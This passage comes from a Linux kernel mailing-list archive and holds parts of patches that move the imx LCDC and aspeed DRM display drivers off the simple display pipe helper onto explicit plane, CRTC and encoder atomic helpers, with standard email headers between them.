+static void imx_lcdc_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *state)
 {
 	int ret;
 	int clk_div;
 	int bpp;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_display_mode *mode = &pipe->crtc.mode;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
+	struct drm_display_mode *mode = &crtc->mode;
 	struct drm_display_info *disp_info = &lcdc->connector->display_info;
+	struct drm_plane_state *plane_state = crtc->primary->state;
 	const int hsync_pol = (mode->flags & DRM_MODE_FLAG_PHSYNC) ? 0 : 1;
 	const int vsync_pol = (mode->flags & DRM_MODE_FLAG_PVSYNC) ? 0 : 1;
 	const int data_enable_pol =
@@ -231,34 +232,34 @@ static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
 
 	ret = clk_prepare_enable(lcdc->clk_ipg);
 	if (ret) {
-		dev_err(pipe->crtc.dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
 		return;
 	}
 	ret = clk_prepare_enable(lcdc->clk_ahb);
 	if (ret) {
-		dev_err(pipe->crtc.dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
 
 		clk_disable_unprepare(lcdc->clk_ipg);
 
 		return;
 	}
 
-	imx_lcdc_update_hw_registers(pipe, NULL, true);
+	imx_lcdc_update_hw_registers(crtc, NULL, true);
 
 	/* Enable VBLANK Interrupt */
 	writel(INTR_EOF, lcdc->base + IMX21LCDC_LIER);
 }
 
-static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void imx_lcdc_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						struct drm_atomic_commit *state)
 {
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
 	struct drm_pending_vblank_event *event;
 
 	clk_disable_unprepare(lcdc->clk_ahb);
 	clk_disable_unprepare(lcdc->clk_ipg);
 
-	if (pipe->crtc.enabled)
+	if (crtc->enabled)
 		clk_disable_unprepare(lcdc->clk_per);
 
 	spin_lock_irq(&lcdc->drm.event_lock);
@@ -273,17 +274,18 @@ static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
 	writel(0, lcdc->base + IMX21LCDC_LIER);
 }
 
-static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *plane_state,
-			       struct drm_crtc_state *crtc_state)
+static int imx_lcdc_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *state)
 {
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
 	const struct drm_display_mode *mode = &crtc_state->mode;
-	const struct drm_display_mode *old_mode = &pipe->crtc.state->mode;
+	const struct drm_display_mode *old_mode = &crtc->state->mode;
+	int ret;
 
 	if (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
 	    mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
 	    mode->hdisplay % 0x10) { /* must be multiple of 16 */
-		drm_err(pipe->crtc.dev, "unsupported display mode (%u x %u)\n",
+		drm_err(crtc->dev, "unsupported display mode (%u x %u)\n",
 			mode->hdisplay, mode->vdisplay);
 		return -EINVAL;
 	}
@@ -292,27 +294,42 @@ static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
 		old_mode->hdisplay != mode->hdisplay ||
 		old_mode->vdisplay != mode->vdisplay;
 
-	return 0;
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
 }
 
-static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_state)
+static void imx_lcdc_plane_helper_atomic_update(struct drm_plane *plane,
+						struct drm_atomic_commit *state)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(state, plane);
+	struct drm_plane_state *new_state = plane->state;
+	struct drm_crtc *crtc = new_state->crtc ?: old_state->crtc;
+	struct drm_pending_vblank_event *event;
 	struct drm_framebuffer *fb = new_state->fb;
 	struct drm_framebuffer *old_fb = old_state->fb;
 	struct drm_crtc *old_crtc = old_state->crtc;
 	bool mode_changed = false;
 
-	if (old_fb && old_fb->format != fb->format)
-		mode_changed = true;
-	else if (old_crtc != crtc)
-		mode_changed = true;
+	if (!crtc)
+		return;
 
-	imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
+	if (fb) {
+		if (old_fb && old_fb->format != fb->format)
+			mode_changed = true;
+		else if (old_crtc != crtc)
+			mode_changed = true;
 
+		imx_lcdc_update_hw_registers(crtc, old_state, mode_changed);
+	}
+
+	event = crtc->state->event;
 	if (event) {
 		crtc->state->event = NULL;
 
@@ -327,11 +344,56 @@ static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
 	}
 }
 
-static const struct drm_simple_display_pipe_funcs imx_lcdc_pipe_funcs = {
-	.enable = imx_lcdc_pipe_enable,
-	.disable = imx_lcdc_pipe_disable,
-	.check = imx_lcdc_pipe_check,
-	.update = imx_lcdc_pipe_update,
+static int imx_lcdc_plane_helper_atomic_check(struct drm_plane *plane,
+					      struct drm_atomic_commit *state)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	return ret;
+}
+
+static const struct drm_plane_helper_funcs imx_lcdc_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= imx_lcdc_plane_helper_atomic_check,
+	.atomic_update	= imx_lcdc_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs imx_lcdc_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs imx_lcdc_crtc_helper_funcs = {
+	.atomic_check	= imx_lcdc_crtc_helper_atomic_check,
+	.atomic_enable	= imx_lcdc_crtc_helper_atomic_enable,
+	.atomic_disable	= imx_lcdc_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs imx_lcdc_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs imx_lcdc_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const struct drm_mode_config_funcs imx_lcdc_mode_config_funcs = {
@@ -369,7 +431,7 @@ MODULE_DEVICE_TABLE(of, imx_lcdc_of_dev_id);
 static irqreturn_t imx_lcdc_irq_handler(int irq, void *arg)
 {
 	struct imx_lcdc *lcdc = arg;
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct drm_crtc *crtc = &lcdc->crtc;
 	unsigned int status;
 
 	status = readl(lcdc->base + IMX21LCDC_LISR);
@@ -387,6 +449,9 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	struct imx_lcdc *lcdc;
 	struct drm_device *drm;
 	struct drm_bridge *bridge;
+	struct drm_plane *plane;
+	struct drm_crtc *crtc;
+	struct drm_encoder *encoder;
 	int irq;
 	int ret;
 	struct device *dev = &pdev->dev;
@@ -428,23 +493,40 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	if (ret)
 		return dev_err_probe(dev, ret, "Cannot initialize mode configuration structure\n");
 
-	/* CRTC, Plane, Encoder */
-	ret = drm_simple_display_pipe_init(drm, &lcdc->pipe,
-					   &imx_lcdc_pipe_funcs,
-					   imx_lcdc_formats,
-					   ARRAY_SIZE(imx_lcdc_formats), NULL, NULL);
+	plane = &lcdc->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &imx_lcdc_plane_funcs,
+				       imx_lcdc_formats,
+				       ARRAY_SIZE(imx_lcdc_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize primary plane\n");
+	drm_plane_helper_add(plane, &imx_lcdc_plane_helper_funcs);
+
+	crtc = &lcdc->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&imx_lcdc_crtc_funcs, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize CRTC\n");
+	drm_crtc_helper_add(crtc, &imx_lcdc_crtc_helper_funcs);
+
+	encoder = &lcdc->encoder;
+	ret = drm_encoder_init(drm, encoder, &imx_lcdc_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret < 0)
-		return dev_err_probe(drm->dev, ret, "Cannot setup simple display pipe\n");
+		return dev_err_probe(drm->dev, ret, "Cannot initialize encoder\n");
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
 
 	ret = drm_vblank_init(drm, drm->mode_config.num_crtc);
 	if (ret < 0)
 		return dev_err_probe(drm->dev, ret, "Failed to initialize vblank\n");
 
-	ret = drm_bridge_attach(&lcdc->pipe.encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
+	ret = drm_bridge_attach(encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
 	if (ret)
 		return dev_err_probe(drm->dev, ret, "Cannot attach bridge\n");
 
-	lcdc->connector = drm_bridge_connector_init(drm, &lcdc->pipe.encoder);
+	lcdc->connector = drm_bridge_connector_init(drm, encoder);
 	if (IS_ERR(lcdc->connector))
 		return dev_err_probe(drm->dev, PTR_ERR(lcdc->connector), "Cannot init bridge connector\n");
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354497.1609791 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-00038j-Fm; Sun, 05 Jul 2026 05:45:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354497.1609791; Sun, 05 Jul 2026 05:45:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-00036b-7f; Sun, 05 Jul 2026 05:45:46 +0000
Received: by outflank-mailman (input) for mailman id 1354497;
 Sat, 04 Jul 2026 18:32:53 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5Ab-0000Qi-3l
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:32:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5Aa-00CL1O-Gs
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:32:52 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495131-e002-0a2a0a5209dd-0a2a4508dc3c-42
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:52 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951d3-edec-0a2a45080019-cddcb483f9dc-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:52 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G8T3a3415014
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:32:50 GMT
Received: from mail-pf1-f197.google.com (mail-pf1-f197.google.com
 [209.85.210.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6t8uhbp7-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:32:50 +0000 (GMT)
Received: by mail-pf1-f197.google.com with SMTP id
 d2e1a72fcca58-847e32ef4caso2621148b3a.2
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:32:50 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.32.42
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:32:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	rk9PzaJeJ1EubyHB5y8nJAfHMdVNPP8w0v4lujL2p6c=; b=Qrwax7K6YbrhBQ+0
	pw5YoGjmckdXdtTMrOJifM6TUsW9/L+f3162b/N7ycpx8Q6K05ntOpb20DTDXR35
	y24nTN2BxtwosIAeooPcsvkonEW+KBecNEd9EQYag7gtQ+5oAcJ5brHcHpzyycEP
	Du7bAu+Nm0Xq9MHCBdrk2v/5ROHjYYd/hD/W33tUwjtZ8ttZ73urgo2S9lEOX4Lv
	JzEs62tCpLl8TUZi/j3noo29PbSvnuu4LuxHyuD5vc4oxbsnYaZUo43jiaR7FWB2
	Evjgh7EzPNUfD//h5eFX9KkBxFZbusLStDX4U6M6fIz1gBY/7o9K1/qVkZ+crZRm
	TgA2LQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189969; x=1783794769; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=rk9PzaJeJ1EubyHB5y8nJAfHMdVNPP8w0v4lujL2p6c=;
        b=Y0Zk5WNhtg6+xGjBYo0x/H7Zjcjc05G2JJvwrFDVUTYeVzVDdcr2jG9PJc3aBCUIpb
         MZjb0NOGYBQENjOxjJx9xnWZO7fJ0uP5QASKHIhZodaicTjQ9kcxMgyuOmpVKBoC2lSp
         k83kkrHJEbV7AroPZpBZPXFRLCwE7Av8l8Xj+1BoOMI8zntXiaClhSUgSxMnCeGwTNmK
         BrbPJ4m/Z9JXSzRNMEmNeXpWESWyvqpeUu6XmJIs3YM46foe1z1Y6GXK6lxtl7W8CZDc
         xOoTI0BqkxIAtH0E8vsrBq03Fiyulbp7ewijX/8qJwfyCE375gnIDcPyHaa22yZ4R0zf
         MYgQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189969; x=1783794769;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=rk9PzaJeJ1EubyHB5y8nJAfHMdVNPP8w0v4lujL2p6c=;
        b=FKgSHeDzCvfw3hj31eqV/eg3hEBGuPcSgx7tMrn550uBmWi88AUv8YywkAab8kj9dL
         JBQ/tafUZicDcFZvQFNPbdWL7ZHpFrZsoD/09KiL9UXE98SMfls/hrpSC9XQHkT2vu84
         9ebMR115waBpAdgja4X/T5bC/YV2Mb/iPIEemW7igSJj0yHUDXBtwjsKdxrDBUs4DcHD
         H082SUu23aoOHqoOzXgjzGyIC4LfZ9FZFEK1nNFOIWMFx3HHztNtR0ypqkzt1LgvqI1E
         lPvL+0bz71AgFX9XeutBAedbNSiVdnHibR7V0XyE2Um7MiKIAbDNODkZ0kUadkgIRSlz
         1FgA==
X-Forwarded-Encrypted: i=1; AHgh+RoTtZepxh5PTdcRfFzLA2LNTkpME4wKLyQSuAy18HkZFoO09dR7luSPLFGIq3QJfJyLKWgs/yVEPVc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxNYQNfVOQtzPSvmMQF5A4Wd6HOVkeri4U1NAG4Ai8Gs4+MCpls
	msuuf0XKMD2iUWQEbClhCtFdkQuYEsVMgrAEU+zVYbClBxqkv1V3tzkBMwb3BO4EiORXZcr/IkD
	zq+ifRQ2+4Xc0h3UYamizIe3vQie9htvwUfktP0HIhydyGUd8nzrVhbtV/W4q61Nzmk7H4w==
X-Gm-Gg: AfdE7cn1KGMroEZM8k65AlWBZ8vPgB8He6pjVlidYvCGSEpvWRFzSY+/zblZzalV9f7
	HWmib/LYxyPAMyocVCsdVrWgNHui6YfRhc17Nx89S50T/fPZ8sYLd7k4wt+vPn3hrOP3qkcbV3t
	yvooO75YrMM8V+wunOu4066scBYqM9GLkycJaONZ7T/FW7aBZEzPpkIfFU1rX1F4Y0bmRgKDPru
	BJeU3U4JDSu+PL9GFSLHs7uUIXPrACOe4dNGemcNz/MWQ57Q0fWGb/xmTch8SXrRf2LNhCd3I/u
	OZZ4A5ykkuoUKF/061NSrDD8uskiQ+314W3KaZbDsGf6AoUKitWY68nyNpAtGcU3y0n1qzBxn3n
	XJPRc8pPjyiwrMOdRF4GrMkE=
X-Received: by 2002:a05:6a00:22c7:b0:845:48be:b046 with SMTP id d2e1a72fcca58-847f6f1025fmr3763190b3a.36.1783189969413;
        Sat, 04 Jul 2026 11:32:49 -0700 (PDT)
X-Received: by 2002:a05:6a00:22c7:b0:845:48be:b046 with SMTP id d2e1a72fcca58-847f6f1025fmr3763155b3a.36.1783189968830;
        Sat, 04 Jul 2026 11:32:48 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:11 +0800
Subject: [PATCH 2/9] drm/aspeed: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-2-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=10745;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=suiX1hb7hxWElnQ47l4ZCuVeZgtDba91LFdURswfwJM=;
 b=5HcbGp99V2Yint2Jmx7p8cBU7PhrqcJUqaDUpsMgk9Dpg7lpIs6PwliMmRMT1Cqd+Ytp1FY6y
 1+s74fAS33WArqXbTG0K/2A23KDYGxAhQXpnwL68qGMAyrr2jzcMy3Z
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Proofpoint-ORIG-GUID: Tai04_QBhKYNGcrSSoZcx0PJcQ8ol08K
X-Proofpoint-GUID: Tai04_QBhKYNGcrSSoZcx0PJcQ8ol08K
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX6xo6mtRbjWXl
 7wfZURBE1iRaUERD5gVeE3H3f/dZ7k377GWY53D55Ns3Vxhsc2B8UuvYrwmBTM0vc3xLQfVBkjx
 wkmuMaDJDej4OhpMrtEjL4WRTMC+oYo=
X-Authority-Analysis: v=2.4 cv=MZxcfZ/f c=1 sm=1 tr=0 ts=6a4951d2 cx=c_pps
 a=rEQLjTOiSrHUhVqRoksmgQ==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=EUspDBNiAAAA:8 a=QAKNwy68QAf-n9tFDZYA:9 a=QEXdDO2ut3YA:10
 a=2VI0MkxyNR6bbpdq8BZq:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX3wIokbP3saw4
 7Txnt2fPYlybk0H2rZ8JeUTl43g4XWAOd7iBUI4l+hkQo2kRymS+BXz8S9pjp6FND2R1uFJHBp8
 /ZOGLjoHpntwHGKpzRQ3udjFQTLGdW7EPcAKPhmGfk+GwnZmpCfgeis2oV1+mvWQ/UzllniUGBS
 guE/e4l5+T4nLeX5Myca8l603JvWWiuYQk8cKUhzNKwFJnG2ZZIFV1brDPrjUYxfVN4tFcRya+N
 28uLrXv9MH8YpuSc8QWL4HK5A3Ki9YXoo2mEOaZJOKy8fr/PrpdpsoOV2g5MXOlwcBuZ1O+ZQG0
 TLpHeJdflTK2j/XOlBnETr/uh9tI2n1WLLcKHnm/LZiIB5OrKKSATYvmjJGuZtzKhdm6rzSIFP4
 GnuRssq8jTAqkwaW1SxexdfsjN3HmJtVxqPL3SNvdL82+Y+CF6NjxLIFihOV8gW89AMj7UNk6IP
 kZjZdZKLxjNJLFaERpw==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1011 priorityscore=1501 impostorscore=0 malwarescore=0 bulkscore=0
 lowpriorityscore=0 suspectscore=0 phishscore=0 spamscore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607040192
X-purgate-ID: tlsNG-c1860d/1783189972-A1F223FC-FE8BE879/0/0
X-purgate-type: clean
X-purgate-size: 10747

Replace simple display pipe with explicit plane, CRTC and encoder
objects. Move callbacks to plane and CRTC helpers, with vblank handling
through drm_crtc_funcs.

This removes intermediate simple-pipe layer and uses standard atomic
helper wiring.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/aspeed/aspeed_gfx.h      |   5 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 156 +++++++++++++++++++++++--------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 3 files changed, 123 insertions(+), 41 deletions(-)

diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx.h b/drivers/gpu/drm/aspeed/aspeed_gfx.h
index 4e6a442c3886..a34811564c0d 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx.h
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx.h
@@ -2,7 +2,6 @@
 /* Copyright 2018 IBM Corporation */
 
 #include <drm/drm_device.h>
-#include <drm/drm_simple_kms_helper.h>
 
 struct aspeed_gfx {
 	struct drm_device		drm;
@@ -17,7 +16,9 @@ struct aspeed_gfx {
 	u32				throd_val;
 	u32				scan_line_max;
 
-	struct drm_simple_display_pipe	pipe;
+	struct drm_plane		plane;
+	struct drm_crtc			crtc;
+	struct drm_encoder		encoder;
 	struct drm_connector		connector;
 };
 #define to_aspeed_gfx(x) container_of(x, struct aspeed_gfx, drm)
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
index 7877a57b8e26..3294795c31c4 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c
@@ -5,6 +5,8 @@
 #include <linux/reset.h>
 #include <linux/regmap.h>
 
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -12,20 +14,13 @@
 #include <drm/drm_gem_atomic_helper.h>
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 
 #include "aspeed_gfx.h"
 
-static struct aspeed_gfx *
-drm_pipe_to_aspeed_gfx(struct drm_simple_display_pipe *pipe)
-{
-	return container_of(pipe, struct aspeed_gfx, pipe);
-}
-
 static int aspeed_gfx_set_pixel_fmt(struct aspeed_gfx *priv, u32 *bpp)
 {
-	struct drm_crtc *crtc = &priv->pipe.crtc;
+	struct drm_crtc *crtc = &priv->crtc;
 	struct drm_device *drm = crtc->dev;
 	const u32 format = crtc->primary->state->fb->format->format;
 	u32 ctrl1;
@@ -79,7 +74,7 @@ static void aspeed_gfx_disable_controller(struct aspeed_gfx *priv)
 
 static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
 {
-	struct drm_display_mode *m = &priv->pipe.crtc.state->adjusted_mode;
+	struct drm_display_mode *m = &priv->crtc.state->adjusted_mode;
 	u32 ctrl1, d_offset, t_count, bpp;
 	int err;
 
@@ -139,33 +134,31 @@ static void aspeed_gfx_crtc_mode_set_nofb(struct aspeed_gfx *priv)
 	writel(priv->throd_val, priv->base + CRT_THROD);
 }
 
-static void aspeed_gfx_pipe_enable(struct drm_simple_display_pipe *pipe,
-			      struct drm_crtc_state *crtc_state,
-			      struct drm_plane_state *plane_state)
+static void aspeed_gfx_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+						 struct drm_atomic_commit *state)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
 
 	aspeed_gfx_crtc_mode_set_nofb(priv);
 	aspeed_gfx_enable_controller(priv);
 	drm_crtc_vblank_on(crtc);
 }
 
-static void aspeed_gfx_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						  struct drm_atomic_commit *state)
 {
